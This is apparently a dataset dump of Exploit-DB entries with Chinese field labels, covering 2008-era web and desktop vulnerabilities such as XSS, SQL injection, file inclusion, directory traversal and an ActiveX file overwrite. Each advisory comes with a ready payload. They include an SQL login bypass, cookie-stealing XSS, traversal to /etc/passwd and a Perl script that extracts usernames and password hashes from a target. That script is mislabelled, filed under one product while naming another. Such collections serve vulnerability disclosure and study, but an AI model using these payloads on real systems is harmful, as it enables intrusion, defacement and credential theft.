QLWD/code_shield huggingface dataset:
标题: Wireshark 0.99.8 - LDAP Dissector Denial of Service EDB-ID: 31553 CVE: 2008-1562 类型: DOS 平台: LINUX 发布日期: 2008-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/28485/info
 
Wireshark is prone to multiple denial-of-service vulnerabilities.
 
Exploiting these issues may allow attackers to cause crashes and deny service to legitimate users of the application. Attackers may be able to leverage some of these vulnerabilities to execute arbitrary code, but this has not been confirmed.
 
These issues affect Wireshark 0.99.2 up to and including 0.99.8. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31553.pcap URL: https://www.exploit-db.com/exploits/31553
标题: BSD (Multiple Distributions) - 'strfmon()' Integer Overflow EDB-ID: 31550 CVE: 2008-1391 类型: DOS 平台: BSD 发布日期: 2008-03-27 漏洞利用脚本: // source: https://www.securityfocus.com/bid/28479/info

Multiple BSD platforms are prone to an integer-overflow weakness.

An attacker can exploit this issue through other applications such as PHP to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

This issue affects FreeBSD 6, 7 and NetBSD 4; other platforms may also be affected.

#include <stdio.h>
#include <monetary.h>

int main(int argc, char* argv[]){
char buff[51];
char *bux=buff;
int res;

res=strfmon(bux, 50, argv[1], "0");
return 0;
} URL: https://www.exploit-db.com/exploits/31550
标题: DigiDomain 2.2 - 'lookup_result.asp?domain' Cross-Site Scripting EDB-ID: 31546 CVE: 2008-1560 类型: WEBAPPS 平台: ASP 发布日期: 2008-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/28475/info

DigiDomain is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

DigiDomain 2.2 is vulnerable; other versions may also be affected.

http://www.example.com/lookup/lookup_result.asp?domain=[XSS]&tld=.com URL: https://www.exploit-db.com/exploits/31546
标题: Jack (tR) Jax LinkLists 1.00 - 'jax_linklists.php' Cross-Site Scripting EDB-ID: 31564 CVE: 2008-6562 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/28518/info

Jax LinkLists is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Jax LinkLists 1.00 is vulnerable; other versions may also be affected.

http://www.example.com/scripting/php/linklists/linklists/jax_linklists.php?do=list&list_id=0&language=german&cat="><script>alert()</script> URL: https://www.exploit-db.com/exploits/31564
标题: GeeCarts - 'show.php?id' Cross-Site Scripting EDB-ID: 31543 CVE: 2008-1621 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/28470/info

GeeCarts is prone to multiple input-validation vulnerabilities, including remote file-include and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site; other attacks are also possible.

All versions of GeeCarts are reported vulnerable.

http://www.example.com/show.php?id=[XSS or RFI] URL: https://www.exploit-db.com/exploits/31543
标题: GeeCarts - 'search.php?id' Cross-Site Scripting EDB-ID: 31544 CVE: 2008-1621 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/28470/info
 
GeeCarts is prone to multiple input-validation vulnerabilities, including remote file-include and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site; other attacks are also possible.
 
All versions of GeeCarts are reported vulnerable.

http://www.example.com/search.php?id=[XSS or RFI] URL: https://www.exploit-db.com/exploits/31544
标题: PHPAddressBook 2.0 - 'index.php' SQL Injection EDB-ID: 31539 CVE: 2008-7145 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/28456/info

phpAddressBook is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

phpAddressBook 2.0 is vulnerable; other versions may also be affected.

The following proof of concept is available:

login:admin ' or 1=1/*
password:[blank] URL: https://www.exploit-db.com/exploits/31539
标题: Invision Power Board 2.x - 'Signature' iFrame Security EDB-ID: 31541 CVE: 2008-6565 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/28466/info


Invision Power Board (IP.Board) is prone to a security vulnerability that can aid attackers in social-engineering attacks.

Attacker-supplied script code could exploit vulnerabilities in the user's browser or give the user a false sense of security when visiting trusted web pages, which can aid in launching further attacks.

This issue affects IP.Board 2.3.1; other versions may also be affected. 

<html> <head> <title>HACKED BY YOUR-NAME</title> </head> <body> <div id="iFrame1" style="position:absolute; left:0px; top:0px; z- index:0"> <iframe name="iFrame1" width=1024 height=3186 src="http://www.example.com/ YOUR-PATH/YOUR.html" scrolling="no" frameborder="0"></iframe> </div> </body> </html> URL: https://www.exploit-db.com/exploits/31541
标题: BlackBoard Academic Suite 6/7 - '/webapps/BlackBoard/execute/viewCatalog?searchText' Cross-Site Scripting EDB-ID: 31537 CVE: 2008-1795 类型: WEBAPPS 平台: CGI 发布日期: 2008-03-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/28455/info

Blackboard Academic Suite is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Blackboard versions prior to 6.3.1.683, 7.0.404.58, 7.1.467.35, 7.2.383.45, and 7.3.216.0 are vulnerable.

http://www.example.com/webapps/blackboard/execute/viewCatalog?type=Course&searchText=?><script>alert(?xss?)</script> URL: https://www.exploit-db.com/exploits/31537
标题: File Transfer 1.2 - Request File Directory Traversal EDB-ID: 31536 CVE: 2008-1564 类型: REMOTE 平台: WINDOWS 发布日期: 2007-11-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/28453/info

File Transfer is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue allows an attacker to access arbitrary files outside of the application's root directory. This can expose sensitive information that could help the attacker launch further attacks.

This issue affects versions prior to File Transfer 1.2f. 

../../../../../../../boot.ini URL: https://www.exploit-db.com/exploits/31536
标题: Novell eDirectory 8.x - eMBox Utility 'edirutil' Command EDB-ID: 31533 CVE: 2008-0926 类型: REMOTE 平台: NOVELL 发布日期: 2008-03-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/28441/info

Novell eDirectory is prone to an unspecified vulnerability that can result in unauthorized file access or a denial of service.

Unauthenticated attackers can exploit this issue.

This issue affects eDirectory 8.8 (and earlier) as well as 8.7.3.9 (and earlier).

java -cp eMBoxClient.jar embox -i
login -s edir_ip_address -p port (port can be 8008, 8009, 80, 443, 8030) URL: https://www.exploit-db.com/exploits/31533
标题: BlackBoard Academic Suite 6/7 - '/bin/common/announcement.pl?data__announcements___pk1_pk2__subject' Cross-Site Scripting EDB-ID: 31538 CVE: 2008-1795 类型: WEBAPPS 平台: CGI 发布日期: 2008-03-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/28455/info
 
Blackboard Academic Suite is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Blackboard versions prior to 6.3.1.683, 7.0.404.58, 7.1.467.35, 7.2.383.45, and 7.3.216.0 are vulnerable.

http://www.example.com/bin/common/announcement.pl?action=ADD&course_id=_137839_1&render_type=EDITABLE&context=course<input type="text" name="data__announcements___pk1_pk2__subject"value=?<script>alert(?worm activated!?)</script>? /> URL: https://www.exploit-db.com/exploits/31538
标题: phpBB PJIRC Module 0.5 - 'irc.php' Local File Inclusion EDB-ID: 31535 CVE: 2008-1565 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/28446/info

The PJIRC module for phpBB is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to view files and execute local scripts in the context of the webserver process. This may aid in further attacks.

http://www.example.com/forum/irc/irc.php?phpEx=./../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/31535
标题: LeadTools MultiMedia 15 - 'LTMM15.dll' ActiveX Control Arbitrary File Overwrite EDB-ID: 31534 CVE: 2008-1605 类型: REMOTE 平台: WINDOWS 发布日期: 2008-03-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/28442/info

LEADTOOLS Multimedia is prone to multiple vulnerabilities that allow attackers to overwrite arbitrary files. These issues affect multiple ActiveX controls.

An attacker can exploit these issues by enticing an unsuspecting victim to view a malicious HTML page.

Successfully exploiting these issues will allow the attacker to corrupt and overwrite arbitrary files on the victim's computer in the context of the vulnerable application using the ActiveX control (typically Internet Explorer).

LEADTOOLS Multimedia 15 is vulnerable; other versions may also be affected.

<pre>
<code><span style="font: 10pt Courier New;"><span 
class="general1-symbol"><body 
bgcolor="#E0E0E0">--------------------------------------------------------------------
 <b>LEADTOOLS Multimedia Toolkit 15 Arbitrary Files Overwrite</b>
 url: http://www.leadtools.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b><font color=&#039;red&#039;>This was written for educational purpose. Use it 
at your own risk.
 Author will be not responsible for any damage.</font></b>
--------------------------------------------------------------------
&lt;object classid=&#039;clsid:00150B1A-B1BA-11CE-ABC6-F5B2E79D9E3F&#039; 
id=&#039;test&#039;&gt;&lt;/object&gt;

&lt;input language=VBScript onclick=tryMe() type=button value=&#039;Click 
here to start the test&#039;&gt;

&lt;script language=&#039;vbscript&#039;&gt;

 Sub tryMe
  test.SaveSettingsToFile &quot;c:\windows\system_.ini&quot;, 1
  MsgBox &quot;Exploit completed!&quot;
 End Sub
&lt;/script&gt;
</span></span>
</code></pre> URL: https://www.exploit-db.com/exploits/31534
标题: Bomba Haber 2.0 - 'haberoku.php' SQL Injection EDB-ID: 31531 CVE: 2008-1607 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/28435/info

Bomba Haber is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Bomba Haber 2.0 is vulnerable; other versions may also be affected. 

#!D:\Perl\Bin\Perl.exe

use LWP::UserAgent;

#
#   XLPortal <= 2.2.4 (search) Remote SQL Injection Exploit
#   Coded by cOndemned 
#   Greetz : irk4z, GregStar, NoRuless, Tomu, Happy B'day Avantura ;*
#

print "\r\n[~] XLPortal <= 2.2.4 (search) Remote SQL Injection Exploit";
print "\r\n[~] Coded by cOndemned [22.03.2008]\r\n";

if (@ARGV < 2) {
    print "[~] Usage : $0 <target_host> <pref>\r\n";    # default pref is xlp / xlportal
    exit();
}

$head = new LWP::UserAgent;
$head->agent("Opera/9.26 (Windows NT 5.1; U; pl)");

my $request = HTTP::Request->new(POST => $ARGV[0]."/index.php");


$buff = "%27+union+select+1%2Cconcat%28user%2C0x3a%2Cpassword%29+from+".$ARGV[1]."_users+%2F*";
$request->content_type('application/x-www-form-urlencoded');
$request->content("page=Szukaj&op=Wyszukaj&query=".$buff."&section_News=1&section_Download=1&s".
                  "ection_Links=1&section_Articles=1&exact=any&sort=alpha&=Rozpocznij+wyszukiw".
                  "anie");
$response = $head->request($request);

if (($response->content =~ /([a-zA-Z]+?):([0-9,a-f]{32})/)) {        
    print "[+] Login : $1\r\n";
    print "[+] Haslo : $2\r\n";
}
else {
    print "\r\n[~] This one isn't vulnerable, or bad data was given\r\n";
    exit();
} URL: https://www.exploit-db.com/exploits/31531
标题: Quick Classifieds 1.0 - 'style/default.scheme.inc?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31514 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
                                   
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                                   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
                                   
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/style/default.scheme.inc?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31514
标题: Quick Classifieds 1.0 - 'include/usersHead.inc?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31513 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
                                  
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                                  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
                                  
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/include/usersHead.inc?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31513
标题: Quick Classifieds 1.0 - 'include/adminHead.inc?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31512 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
                                 
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                                 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
                                 
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/include/adminHead.inc?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31512
标题: CTERA 3.2.29.0/3.2.42.0 - Persistent Cross-Site Scripting EDB-ID: 31517 CVE: 2013-2639 类型: WEBAPPS 平台: PHP 发布日期: 2014-02-07 漏洞利用脚本: # Exploit Title: [CTERA Project Folders -  Stored XSS]
 
# Date: [11-Mar-2013]
# Exploit Author: [Luigi Vezzoso]
# Vendor Homepage: [http://www.ctera.com]
# Version: [3.2.29.0 and 3.2.42.0 ]
# Tested on: [ctera os]
# CVE : [CVE-2013-2639]
 
#OVERVIEW
Standard Ctera User can define a particular “description” for a ProjectFolder that cause javascript code execution and HTML injection. 
 
#INTRODUCTION
CTERA Networks (http://www.ctera.com)bridges the gap between cloud storage and local storage, providing optimized performance and end-to-end security. Our solutions accelerate deployment of cloud services and eliminate the costs associated with file servers, backup servers and tape drives. Service providers and enterprises use CTERA to deliver services such as backup, file sync and share, mobile collaboration, managed NAS and cloud on-ramping, based on the cloud infrastructure of their choice.
 
#VULNERABILITY DESCRIPTION
User can forge particular description on Project Folder that permit XSS, HTML Injection (add of link, images, button ecc). As the project folder can be shared with different users that vulnerability permit the grabbing of sessions cookies.
 
For test the vuln: Create a Project Folder with the following description (the particular path depend of firmware version)

</xml><img src="https://192.168.3.2/admingui/common.3.2.29.291012114828/script/ext/resources/images/default/grid/loading.gif" onload="alert(document.cookie);">
<xml>



#VERSIONS AFFECTED
Tested on CTERA Cloud Storage OS version 3.2.29.0 and 3.2.42.0 
 
#SOLUTION
The vendor mark as resolved on latest CTERA version 4.x
 
#CREDITS
Luigi Vezzoso 
email:  luigivezzoso@gmail.com
skype:  luigivezzoso URL: https://www.exploit-db.com/exploits/31517
标题: Quick Classifieds 1.0 - 'include/sendit2.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31511 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
                                
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                                
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
                                
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/include/sendit2.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31511
标题: Quick Classifieds 1.0 - 'controlpannel/index.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31507 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
                            
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                            
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
                            
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlpannel/index.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31507
标题: Quick Classifieds 1.0 - 'include/sendit.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31510 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
                               
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                               
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
                               
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/include/sendit.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31510
标题: Quick Classifieds 1.0 - 'controlpannel/createP.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31504 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
                         
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                         
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
                         
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlpannel/createP.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31504
标题: Quick Classifieds 1.0 - 'controlpannel/createFeatured.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31499 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
                    
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                    
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
                    
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlpannel/createFeatured.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31499
标题: Quick Classifieds 1.0 - 'controlpannel/mailadmin.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31508 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
                             
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                             
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
                             
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlpannel/mailadmin.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31508
标题: Quick Classifieds 1.0 - '/controlpannel/createNews.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31503 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
                        
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                        
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
                        
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlpannel/createNews.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31503
标题: Quick Classifieds 1.0 - 'controlpannel/createT.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31506 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
                           
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                           
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
                           
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlpannel/createT.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31506